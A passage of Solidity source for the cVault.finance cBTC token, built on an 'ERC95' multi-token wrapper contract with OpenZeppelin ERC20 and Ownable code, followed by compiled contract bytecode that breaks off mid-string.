uint8 decimalsMax; uint percentTotal; // To make sure they add up to 100 uint8 numTokensWrapped = 0; for (uint256 loop = 0; loop < _addresses.length; loop++) { // 0 % tokens cannnot be permitted require(_percent[loop] > 0 ,"ERC95 : All wrapped tokens have to have at least 1% of total"); // we check the decimals of current token // decimals is not part of erc20 standard, and is safer to provide in the caller // tokenDecimals[loop] = IERC20(_addresses[loop]).decimals(); decimalsMax = tokenDecimals[loop] > decimalsMax ? tokenDecimals[loop] : decimalsMax; // pick max percentTotal += _percent[loop]; // further for checking everything adds up //_numTokensWrapped++; // we might just assign this numTokensWrapped++; } require(percentTotal == 100, "ERC95 : Percent of all wrapped tokens should equal 100"); require(numTokensWrapped == _addresses.length, "ERC95 : Length mismatch sanity check fail"); // Is this sanity check needed? // No, but let's leave it anyway in case it becomes needed later _numTokensWrapped = numTokensWrapped; // Loop over all tokens against to populate the structs for (uint256 loop = 0; loop < numTokensWrapped; loop++) { // We get the difference between decimals because 6 decimal token should have 1000000000000000000 in 18 decimal token per unit uint256 decimalDifference = decimalsMax - tokenDecimals[loop]; // 10 ** 0 is 1 so good // cast to safemath uint256 pAmountWrapperPerUnit = numTokensWrapped > 1 ? (10**decimalDifference).mul(_percent[loop]) : 1; _wrappedTokens.push( WrappedToken({ _address: _addresses[loop], _reserve: 0, /* TODO: I don't know what reserve does here so just stick 0 in it */ _amountWrapperPerUnit : pAmountWrapperPerUnit // if its one token then we can have the same decimals /// 10*0 = 1 * 1 = 1 /// 10*0 = 1 * 50 = 50 this means half because +2 decimals }) ); } _name = name; _symbol = symbol; // we dont need more decimals if its 1 token wraped _decimals = numTokensWrapped > 1 ? decimalsMax + 2 : decimalsMax; // 2 more decimals to support percentage wraps we support up to 1%-100% in integers } // returns info for a token with x id in the loop function getTokenInfo(uint _id) public view returns (address, uint256, uint256) { WrappedToken memory wt = _wrappedTokens[_id]; return (wt._address, wt._reserve, wt._amountWrapperPerUnit); } // Mints the ERC20 during a wrap function _mintWrap(address to, uint256 amt) internal { _mint(to, amt); emit Wrapped(msg.sender, to, amt); } // burns the erc and sends underlying tokens function _unwrap(address from, address to, uint256 amt) internal { _burn(from, amt); sendUnderlyingTokens(to, amt); emit Unwrapped(from, to, amt); } /// public function to unwrap function unwrap(uint256 amt) public { _unwrap(msg.sender, msg.sender, amt); } function unwrapAll() public { unwrap(_balances[msg.sender]); } // TODO: Unit test with USDT // TODO: use the safetransfer shit from uinswap // TODO: Account for decimals in transfer amt (EtherDelta and IDEX would have this logic already) // TODO: Land-mine testing of USDT function sendUnderlyingTokens(address to, uint256 amt) internal { for (uint256 loop = 0; loop < _numTokensWrapped; loop++) { WrappedToken memory currentToken = _wrappedTokens[loop]; safeTransfer(currentToken._address, to, amt.mul(currentToken._amountWrapperPerUnit)); } } function safeTransfer(address token, address to, uint256 value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERC95: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint256 value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERC95: TRANSFER_FROM_FAILED'); } // You can unwrap if you have allowance to erc20 wrap function unwrapFor(address spender, uint256 amt) public { require(_allowances[spender][msg.sender] >= amt, "ERC95 allowance exceded"); _unwrap(spender, msg.sender, amt); _allowances[spender][msg.sender] = _allowances[spender][msg.sender].sub(amt); } // Loops over all tokens in the wrap and deposits them with allowance function _depositUnderlying(uint256 amt) internal { for (uint256 loop = 0; loop < _numTokensWrapped; loop++) { WrappedToken memory currentToken = _wrappedTokens[loop]; // req successful transfer uint256 amtToSend = amt.mul(currentToken._amountWrapperPerUnit); safeTransferFrom(currentToken._address, msg.sender, address(this), amtToSend); // Transfer went OK this means we can add this balance we just took. _wrappedTokens[loop]._reserve = currentToken._reserve.add(amtToSend); } } // Deposits by checking against reserves function wrapAtomic(address to) noNullAddress(to) public { uint256 amt = _updateReserves(); _mintWrap(to, amt); } // public function to call the deposit with allowance and mint function wrap(address to, uint256 amt) noNullAddress(to) public { // works as wrap for _depositUnderlying( amt); _mintWrap(to, amt); // No need to check underlying? } // safety for front end bugs modifier noNullAddress(address to) { require(to != address(0), "ERC95 : null address safety check"); _; } function _updateReserves() internal returns (uint256 qtyOfNewTokens) { // Loop through all tokens wrapped, and find the maximum quantity of wrapped tokens that can be created, given the balance delta for this block for (uint256 loop = 0; loop < _numTokensWrapped; loop++) { WrappedToken memory currentToken = _wrappedTokens[loop]; uint256 currentTokenBal = IERC20(currentToken._address).balanceOf(address(this)); // TODO: update to not use percentages uint256 amtCurrent = currentTokenBal.sub(currentToken._reserve).div(currentToken._amountWrapperPerUnit); // math check pls qtyOfNewTokens = qtyOfNewTokens > amtCurrent ? amtCurrent : qtyOfNewTokens; // logic check // pick lowest amount so dust attack doesn't work // can't skim in txs or they have non-deterministic gas price if(loop == 0) { qtyOfNewTokens = amtCurrent; } } // second loop makes reserve numbers match from computed amount for (uint256 loop2 = 0; loop2 < _numTokensWrapped; loop2++) { WrappedToken memory currentToken = _wrappedTokens[loop2]; uint256 amtDelta = qtyOfNewTokens.mul(currentToken._amountWrapperPerUnit);// math check pls _wrappedTokens[loop2]._reserve = currentToken._reserve.add(amtDelta);// math check pls } } // Force to match reserves by transfering out to anyone the excess function skim(address to) public { for (uint256 loop = 0; loop < _numTokensWrapped; loop++) { WrappedToken memory currentToken = _wrappedTokens[loop]; uint256 currentTokenBal = IERC20(currentToken._address).balanceOf(address(this)); uint256 excessTokensQuantity = currentTokenBal.sub(currentToken._reserve); if(excessTokensQuantity > 0) { safeTransfer(currentToken._address , to, excessTokensQuantity); } } } /// END ERC95 SPECIFIC FUNCTIONS START ERC20 // we propably should inherit ERC20 somehow using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: tmp_contracts/v612/cBTC.sol pragma solidity 0.6.12; interface ICOREGlobals { function TransferHandler() external returns (address); } interface ICORETransferHandler{ function handleTransfer(address, address, uint256) external; } contract cBTC is Ownable, ERC95 { bool paused = true; // Once only unpause address LGEAddress; ICOREGlobals coreGlobals; constructor(address[] memory _addresses, uint8[] memory _percent, uint8[] memory tokenDecimals, address _coreGlobals) ERC95("cVault.finance/cBTC", "cBTC", _addresses, _percent, tokenDecimals) public { coreGlobals = ICOREGlobals(_coreGlobals); } function changeWrapTokenName(string memory name) public onlyOwner { _setName(name); } // Changing it after does nothing, all this can do is unpause once. function setLGEAddress(address _LGEAddress) public onlyOwner { LGEAddress = _LGEAddress; } // Unpauses transfers of this once // This is needed so people don't wrap before LGE isover and screw liquidity adds function unpauseTransfers() public onlyLGEContract { paused = false; } // Checks if contract is LGE address modifier onlyLGEContract { require(LGEAddress != address(0), "Address not set"); require(msg.sender == LGEAddress, "Not LGE address"); _; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { require(paused == false, "Transfers paused until LGE is over"); ICORETransferHandler(coreGlobals.TransferHandler()).handleTransfer(from, to, amount); } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638936a91f116100de578063a9059cbb11610097578063db75ec4811610071578063db75ec4814610475578063dd62ed3e14610491578063de0e9a3e146104c1578063f2fde38b146104dd5761018e565b8063a9059cbb1461040d578063bc25cf771461043d578063bf376c7a146104595761018e565b80638936a91f146103495780638c7a63ae146103535780638cbc3ae5146103855780638da5cb5b146103a157806395d89b41146103bf578063a457c2d7146103dd5761018e565b80633937f8171161014b5780634982e3b7116101255780634982e3b7146102d357806370a08231146102dd578063715018a61461030d57806371882795146103175761018e565b80633937f8171461026b57806339509351146102875780633d669f8c146102b75761018e565b806306fdde0314610193578063095ea7b3146101b15780630aa57dfe146101e157806318160ddd146101ff57806323b872dd1461021d578063313ce5671461024d575b600080fd5b61019b6104f9565b6040516101a8919061343c565b60405180910390f35b6101cb60048036038101906101c69190612c24565b61059b565b6040516101d89190613421565b60405180910390f35b6101e96105b9565b6040516101f69190613699565b60405180910390f35b6102076105dd565b604051610214919061367e565b60405180910390f35b61023760048036038101906102329190612bd5565b6105e7565b6040516102449190613421565b60405180910390f35b6102556106c0565b6040516102629190613699565b60405180910390f35b61028560048036038101906102809190612c89565b6106d7565b005b6102a1600480360381019061029c9190612c24565b610778565b6040516102ae9190613421565b60405180910390f35b6102d160048036038101906102cc9190612b47565b61082b565b005b6102db6108b7565b005b6102f760048036038101906102f29190612b47565b610901565b604051610304919061367e565b60405180910390f35b61031561094a565b005b610331600480360381019061032c9190612cca565b610a9d565b604051610340939291906133ea565b60405180910390f35b610351610af4565b005b61036d60048036038101906103689190612cca565b610c33565b60405161037c939291906133ea565b60405180910390f35b61039f600480360381019061039a9190612c24565b610cef565b005b6103a9610ecc565b6040516103b6919061336f565b60405180910390f35b6103c7610ef5565b6040516103d4919061343c565b60405180910390f35b6103f760048036038101906103f29190612c24565b610f97565b6040516104049190613421565b60405180910390f35b61042760048036038101906104229190612c24565b611064565b6040516104349190613421565b60405180910390f35b61045760048036038101906104529190612b47565b611082565b005b610473600480360381019061046e9190612c24565b611223565b005b61048f600480360381019061048a9190612b47565b6112ac565b005b6104ab60048036038101906104a69190612b99565b611385565b6040516104b8919061367e565b60405180910390f35b6104db60048036038101906104d69190612cca565b61140c565b005b6104f760048036038101906104f29190612b47565b61141a565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105915780601f1061056657610100808354040283529160200191610591565b820191906000526020600020905b81548152906001019060200180831161057457829003601f168201915b5050505050905090565b60006105af6105a861164c565b8484611654565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000181565b6000600454905090565b60006105f484848461181f565b6106b58461060061164c565b6106b08560405180606001604052806028815260200161387560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066661164c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab89092919063ffffffff16565b611654565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6106df61164c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107639061359e565b60405180910390fd5b61077581611b13565b50565b600061082161078561164c565b8461081c856003600061079661164c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b611654565b6001905092915050565b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561089c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108939061353e565b60405180910390fd5b60006108a6611b82565b90506108b28382611e6f565b505050565b6108ff600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140c565b565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61095261164c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d69061359e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60018181548110610aaa57fe5b90600052602060002090600302016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b600073ffffffffffffffffffffffffffffffffffffffff16600760029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d906134fe565b60405180910390fd5b600760029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d9061363e565b60405180910390fd5b6000600760016101000a81548160ff021916908315150217905550565b6000806000610c406129b6565b60018581548110610c4d57fe5b90600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815250509050806000015181602001518260400151935093509350509193909250565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da59061355e565b60405180910390fd5b610db9823383611ee2565b610e4881600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6090919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8d5780601f10610f6257610100808354040283529160200191610f8d565b820191906000526020600020905b815481529060010190602001808311610f7057829003601f168201915b5050505050905090565b600061105a610fa461164c565b846110558560405180606001604052806025815260200161389d6025913960036000610fce61164c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab89092919063ffffffff16565b611654565b6001905092915050565b600061107861107161164c565b848461181f565b6001905092915050565b60005b7f000000000000000000000000000000000000000000000000000000000000000160ff1681101561121f576110b86129b6565b600182815481106110c557fe5b90600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152505090506000816000015173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611189919061336f565b60206040518083038186803b1580156111a157600080fd5b505afa1580156111b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d99190612cf3565b905060006111f4836020015183611f6090919063ffffffff16565b9050600081111561120f5761120e83600001518683611faa565b5b5050508080600101915050611085565b5050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b9061353e565b60405180910390fd5b61129d826120e1565b6112a78383611e6f565b505050565b6112b461164c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113389061359e565b60405180910390fd5b80600760026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611417333383611ee2565b50565b61142261164c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a69061359e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561151f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115169061349e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808314156115ef5760009050611646565b600082840290508284828161160057fe5b0414611641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116389061357e565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb9061361e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172b906134be565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611812919061367e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611886906135de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f69061345e565b60405180910390fd5b61190a838383612220565b6119768160405180606001604052806026815260200161384f60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab89092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611aab919061367e565b60405180910390a3505050565b6000838311158290611b00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af7919061343c565b60405180910390fd5b5060008385039050809150509392505050565b8060059080519060200190611b299291906129ed565b5050565b600080828401905083811015611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906134de565b60405180910390fd5b8091505092915050565b600080600090505b7f000000000000000000000000000000000000000000000000000000000000000160ff16811015611d3f57611bbd6129b6565b60018281548110611bca57fe5b90600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152505090506000816000015173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611c8e919061336f565b60206040518083038186803b158015611ca657600080fd5b505afa158015611cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cde9190612cf3565b90506000611d0f8360400151611d01856020015185611f6090919063ffffffff16565b61238b90919063ffffffff16565b9050808511611d1e5784611d20565b805b94506000841415611d2f578094505b5050508080600101915050611b8a565b5060005b7f000000000000000000000000000000000000000000000000000000000000000160ff16811015611e6b57611d766129b6565b60018281548110611d8357fe5b90600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152505090506000611e218260400151856115dc90919063ffffffff16565b9050611e3a818360200151611b2d90919063ffffffff16565b60018481548110611e4757fe5b90600052602060002090600302016001018190555050508080600101915050611d43565b5090565b611e7982826123d5565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f29b3b451f9779df34ec8a67ec6c96fa910b17a579a66b7428d94f481be6900d983604051611ed6919061367e565b60405180910390a35050565b611eec838261256b565b611ef6828261271b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f742cbb4a6bddd5e23aa0c14356065c236bdbc921cddb7f1f763161eb2030f3ef83604051611f53919061367e565b60405180910390a3505050565b6000611fa283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab8565b905092915050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401611fdd9291906133c1565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161202b9190613358565b6000604051808303816000865af19150503d8060008114612068576040519150601f19603f3d011682016040523d82523d6000602084013e61206d565b606091505b509150915081801561209b575060008151148061209a5750808060200190518101906120999190612c60565b5b5b6120da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d19061347e565b60405180910390fd5b5050505050565b60005b7f000000000000000000000000000000000000000000000000000000000000000160ff1681101561221c576121176129b6565b6001828154811061212457fe5b90600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481525050905060006121c28260400151856115dc90919063ffffffff16565b90506121d4826000015133308461281b565b6121eb818360200151611b2d90919063ffffffff16565b600184815481106121f857fe5b906000526020600020906003020160010181905550505080806001019150506120e4565b5050565b60001515600760019054906101000a900460ff16151514612276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226d906